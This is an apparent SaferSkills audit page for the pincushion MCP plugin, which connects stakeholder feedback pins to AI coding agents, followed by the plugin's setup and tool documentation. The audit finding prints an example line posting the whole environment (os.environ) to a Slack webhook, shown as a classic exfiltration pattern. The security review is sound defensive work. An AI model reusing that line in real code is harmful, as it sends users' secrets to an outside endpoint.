pincushion — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited pincushion (Plugin) and scored it 91/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 1 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 1 flagged
This plugin embeds a chat-platform or request-capture webhook URL (webhookUrl: 'https://hooks.slack.com/services/..…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.
requests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})# user-supplied target; send only a benign status message
requests.post(config.webhook_url, json={"status": "build complete"})Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
The implementation-context layer for AI-native development. Stakeholders drop visual pins on any page of your live app; your AI coding agent reads each pin through MCP and ships the fix — in Claude Code, Cursor, VS Code, Windsurf, or any MCP client.
A pin isn't a feedback item — it's an agent work packet. Each one carries everything an agent needs to implement the change without a back-and-forth:
The loop closes itself: a stakeholder pins it → your agent reads it via MCP and fixes it in your IDE → the resolve records the commit, branch, and PR → an optional post-deploy critique verifies the fix actually landed.
This server is also how Pincushion AI runs design/copy/a11y critiques on a live page and writes the pins straight back onto it.
# npm
npm install -g pincushion-mcp
# pnpm
pnpm add -g pincushion-mcp
# yarn
yarn global add pincushion-mcpOr run directly without installing:
# npm
npx pincushion-mcp --project-dir .
# pnpm
pnpm dlx pincushion-mcp --project-dir .
# yarn
yarn dlx pincushion-mcp --project-dir .Download the Pincushion Chrome extension from pincushion.io/install/chrome.
Pick your AI agent below and follow the configuration for your setup.
Once configured, your agent can:
get_feedback_summarysearch_annotationsfix_and_resolveFile: .cursor/mcp.json
{
"mcpServers": {
"pincushion": {
"command": "npx",
"args": ["pincushion-mcp", "--project-dir", "."]
}
}
}pnpm / yarn users: replace"command": "npx"with"command": "pnpm"and add"dlx"as the first arg, or use"command": "yarn"with"dlx"likewise.
With Supabase sync:
{
"mcpServers": {
"pincushion": {
"command": "npx",
"args": [
"pincushion-mcp",
"--project-dir", ".",
"--sync-url", "https://your-supabase.com/api",
"--api-key", "YOUR_API_KEY"
]
}
}
}File: ~/.config/Claude/claude_desktop_config.json (Linux/Windows) or ~/Library/Application Support/Claude/claude_desktop_config.json (macOS)
{
"mcpServers": {
"pincushion": {
"command": "npx",
"args": ["pincushion-mcp", "--project-dir", "/path/to/your/project"]
}
}
}pnpm users:
{
"mcpServers": {
"pincushion": {
"command": "pnpm",
"args": ["dlx", "pincushion-mcp", "--project-dir", "/path/to/your/project"]
}
}
}yarn users:
{
"mcpServers": {
"pincushion": {
"command": "yarn",
"args": ["dlx", "pincushion-mcp", "--project-dir", "/path/to/your/project"]
}
}
}With Supabase sync:
{
"mcpServers": {
"pincushion": {
"command": "npx",
"args": [
"pincushion-mcp",
"--project-dir", "/path/to/your/project",
"--sync-url", "https://your-supabase.com/api",
"--api-key", "YOUR_API_KEY"
]
}
}
}Run this command to add Pincushion to Claude Code:
claude mcp add pincushion -- npx pincushion-mcp --project-dir .Or with Supabase sync:
claude mcp add pincushion -- npx pincushion-mcp --project-dir . --sync-url https://your-supabase.com/api --api-key YOUR_API_KEYFile: .vscode/settings.json
{
"mcp.servers": {
"pincushion": {
"command": "npx",
"args": ["pincushion-mcp", "--project-dir", "${workspaceFolder}"]
}
}
}File: ~/.windsurf/mcp.json or ~/.config/windsurf/mcp.json
{
"mcpServers": {
"pincushion": {
"command": "npx",
"args": ["pincushion-mcp", "--project-dir", "."]
}
}
}File: ~/.antigravity/mcp.json
{
"mcpServers": {
"pincushion": {
"command": "npx",
"args": ["pincushion-mcp", "--project-dir", "."]
}
}
}For tools that don't support MCP directly, use the REST API wrapper:
npx pincushion-mcp --rest --port 3456This starts an HTTP server on localhost:3456. Endpoints:
GET /health — Check server statusPOST /call-tool — Invoke a tool{ "toolName": "get_feedback_summary", "args": {} }Example using curl:
curl -X POST http://localhost:3456/call-tool \
-H "Content-Type: application/json" \
-d '{"toolName": "get_feedback_summary", "args": {}}'npx pincushion-mcp [flags]| Flag | Description | Default |
|---|---|---|
--project-dir PATH | Root directory containing .feedback/ | Current working directory |
--sync-url URL | Supabase API endpoint for remote sync | None (local only) |
--api-key KEY | API key for Supabase authentication | None |
--license-key KEY | Pro license key (optional) | None |
--rest | Enable REST API mode | Disabled (uses MCP/stdio) |
--port PORT | Port for REST API server | 3456 |
Local project:
npx pincushion-mcp --project-dir /path/to/projectWith Supabase sync:
npx pincushion-mcp \
--project-dir /path/to/project \
--sync-url https://abcd1234.supabase.co/api \
--api-key sb_project_key_abc123...REST API server:
npx pincushion-mcp --rest --port 8080get_annotationsRetrieve annotations from .feedback/. Filter by page, component, or status.
Parameters:
pageUrl (string, optional) — Filter by page URL (partial match)componentName (string, optional) — Filter by LWC component namestatus (string, optional) — Filter by open, in-progress, or resolvedExample:
await mcp.callTool('get_annotations', {
componentName: 'wmlHomePage',
status: 'open'
});search_annotationsFull-text search across all annotations, comments, selectors, and tags.
Parameters:
query (string, required) — Search termExample:
await mcp.callTool('search_annotations', {
query: 'button label'
});get_feedback_summaryHigh-level rollup of all feedback: counts by status, priority, page, and component.
Example:
await mcp.callTool('get_feedback_summary', {});get_component_feedbackGet all feedback for a specific LWC component with a plain-language summary.
Parameters:
componentName (string, required) — LWC component nameExample:
await mcp.callTool('get_component_feedback', {
componentName: 'wmlHomePage'
});resolve_annotationMark an annotation as resolved after fixing the issue.
Parameters:
annotationId (string, required) — Annotation IDcomment (string, optional) — Resolution messageresolvedBy (string, optional) — Name to attribute resolution (default: "AI Agent")Example:
await mcp.callTool('resolve_annotation', {
annotationId: 'ann_abc123',
comment: 'Updated button label in line 42 of wmlHomePage.js'
});add_agent_replyAdd a reply to an annotation thread (e.g., ask clarifying questions).
Parameters:
annotationId (string, required) — Annotation IDbody (string, required) — Reply messageauthor (string, optional) — Author name (default: "AI Agent")Example:
await mcp.callTool('add_agent_reply', {
annotationId: 'ann_abc123',
body: 'Is this button in the main navigation or sidebar?'
});fix_and_resolveCombine fixing code and marking an annotation as resolved in one call. Optionally records commit / branch / PR metadata so the dashboard can backlink to what shipped.
Parameters:
annotationId (string, required) — Annotation IDfixDescription (string, required) — Description of the fixfilePath (string, optional) — File where fix was appliedlineNumber (number, optional) — Line number of the fixcommitSha (string, optional) — Commit SHA that landed the changebranchName (string, optional) — Branch the commit was made onprUrl (string, optional) — Pull request URL (GitHub/GitLab/Bitbucket; shape-validated)Example:
await mcp.callTool('fix_and_resolve', {
annotationId: 'ann_abc123',
fixDescription: 'Updated button label to match design spec',
filePath: 'src/components/wmlHomePage.js',
lineNumber: 42,
commitSha: 'abc123def456',
branchName: 'pincushion/checkout-fix',
prUrl: 'https://github.com/acme/app/pull/142'
});get_implementation_packetFetch a single implementation packet for one page URL — selector list, full pin payloads, suggested branch name, and traceability config. Use when an agent wants to batch-fix one page in a single branch.
await mcp.callTool('get_implementation_packet', { pageUrl: '/checkout' });assign_pin_to_agentDispatch a pin straight to your local coding agent. Promotes the pin to ready if not already, marks pending_implementation, and writes a .feedback/.agent-queue/<id>.json trigger file that agent-loop.mjs picks up and shells out to Cursor / Claude Code / Codex.
await mcp.callTool('assign_pin_to_agent', { annotationId: 'ann_abc123' });link_pin_deployAttach a deploy URL to a resolved pin. Typically called by the deploy-hook edge function once production includes the fix, but available manually too.
await mcp.callTool('link_pin_deploy', {
annotationId: 'ann_abc123',
deployUrl: 'https://acme-app.vercel.app'
});record_pin_verificationWrite Pincushion AI's post-deploy verdict back to the pin. Called by the critic agent after /critique-latest-deploy runs against a fresh deploy.
await mcp.callTool('record_pin_verification', {
annotationId: 'ann_abc123',
status: 'verified', // or 'regressed' or 'inconclusive'
notes: 'Button matches the primary token. No regression on adjacent CTAs.'
});get_time_to_fix_metricsPro/Team feature — Free callers get sample size + upgrade hint. Median + p25/p75 of pin-to-resolve duration, with a 5-pin minimum so the metric is never noise.
await mcp.callTool('get_time_to_fix_metrics', { scope: 'project', projectId: 'pc_proj_abc' });
// → { sampleSize, thresholdMet, median, p25, p75, medianHuman, ... }get_setup_instructions (NEW)Get setup and configuration instructions for all supported agents.
Example:
await mcp.callTool('get_setup_instructions', {});Pincushion can notify Slack or Microsoft Teams through project-scoped incoming webhooks. The defaults are intentionally quiet and Figma-inspired: notify when a pin is ready for implementation, when someone is @mentioned, and when a collaborator adds follow-up on work already being handled. Every newly dropped pin and every resolution are opt-in events.
Recommended use cases:
pin_ready and follow_upmention and optionally resolvedpageUrlPatterns plus pin_ready, follow_up, and resolvedExample:
await mcp.callTool('configure_collaboration_integration', {
projectId: 'my-project',
provider: 'slack',
webhookUrl: 'https://hooks.slack.com/services/...',
targetLabel: '#product-feedback',
events: ['pin_ready', 'mention', 'follow_up'],
pageUrlPatterns: ['staging.example.com/checkout'],
sendTest: true
});For Slack, use create_slack_install_link when the hosted Slack app secrets are configured. It returns an Add-to-Slack URL; after approval, Slack returns the incoming webhook and Pincushion stores it automatically.
Use list_collaboration_integrations to audit configured destinations, remove_collaboration_integration to disconnect one, and preview_collaboration_notification to see the payload shape before adding a real webhook. Webhook URLs are stored server-side and returned only as masked values.
For agents that don't watch the file system (Claude Code, Cursor, generic), agent-loop.mjs polls .feedback/.agent-queue/ and dispatches new pins to the configured agent automatically.
# from inside the pincushion-mcp directory
npm run agent-loop -- --project-dir /path/to/your/project
# or directly
node agent-loop.mjs --project-dir /path/to/your/project [--agent claude-code|cursor|generic] [--interval 3000]The bridge (server.js) writes one trigger file per approved pin into .feedback/.agent-queue/. The loop reads them, builds a prompt with the pin's thread + element selector, and shells out to the chosen agent. The agent uses MCP tools (claim_pin → fix → fix_and_resolve) and the queue file is removed when the pin closes.
detectAgent() auto-detects claude or cursor on the PATH; falls back to generic (writes the prompt to .feedback/.agent-prompt and stdout). Run with --interval 3000 to control poll cadence.
The server reads annotations from .feedback/ in your project:
.feedback/
├── annotations/
│ ├── example-com-login.json
│ ├── example-com-dashboard.json
│ └── ...
└── index.jsonEach annotation file contains:
{
"pageUrl": "https://example.com/login",
"pageTitle": "Login",
"annotations": [
{
"id": "ann_abc123",
"status": "open",
"priority": "high",
"tags": ["design", "accessibility"],
"createdAt": "2026-03-19T10:30:00Z",
"element": {
"lwcComponent": "wmlLoginForm",
"selector": ".login-button",
"textContent": "Sign In"
},
"thread": [
{
"author": "Design Team",
"timestamp": "2026-03-19T10:30:00Z",
"body": "Button label should say 'Sign In' not 'Login'",
"type": "comment"
}
]
}
]
}To sync annotations with a remote Supabase database:
annotations table with columns matching the annotation schema--sync-url and --api-keyExample:
npx pincushion-mcp \
--project-dir . \
--sync-url https://your-project.supabase.co/rest/v1 \
--api-key sb_project_key_abc123...The server merges local .feedback/ files with remote data, with remote taking precedence on newer updates.
Pincushion Pro includes additional features. Activate with --license-key:
npx pincushion-mcp --project-dir . --license-key YOUR_PRO_KEYMake sure you have Node.js 18+ installed:
node --versionInstall dependencies:
npm install @modelcontextprotocol/sdkCheck that .feedback/ exists in your project directory:
ls -la .feedback/If it doesn't exist, create it and add some test annotations, or the extension will create it when you pin your first feedback.
Verify your credentials:
curl -H "x-api-key: YOUR_API_KEY" \
https://your-project.supabase.co/rest/v1/annotationsIn your agent config, use the full path to pincushion-mcp:
which pincushion-mcp
# Use the output path in your configOr use npx to let it find the package:
{
"command": "npx",
"args": ["pincushion-mcp", "--project-dir", "."]
}Clone the repository and install dependencies:
git clone https://github.com/jcooley8/pincushion-plugin.git
cd pincushion-plugin
npm installRun the server:
npm startOr with test data:
npm start -- --project-dir ./test-feedbackMIT License. See LICENSE file for details.
.feedback/ file supportfix_and_resolve, get_setup_instructions~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.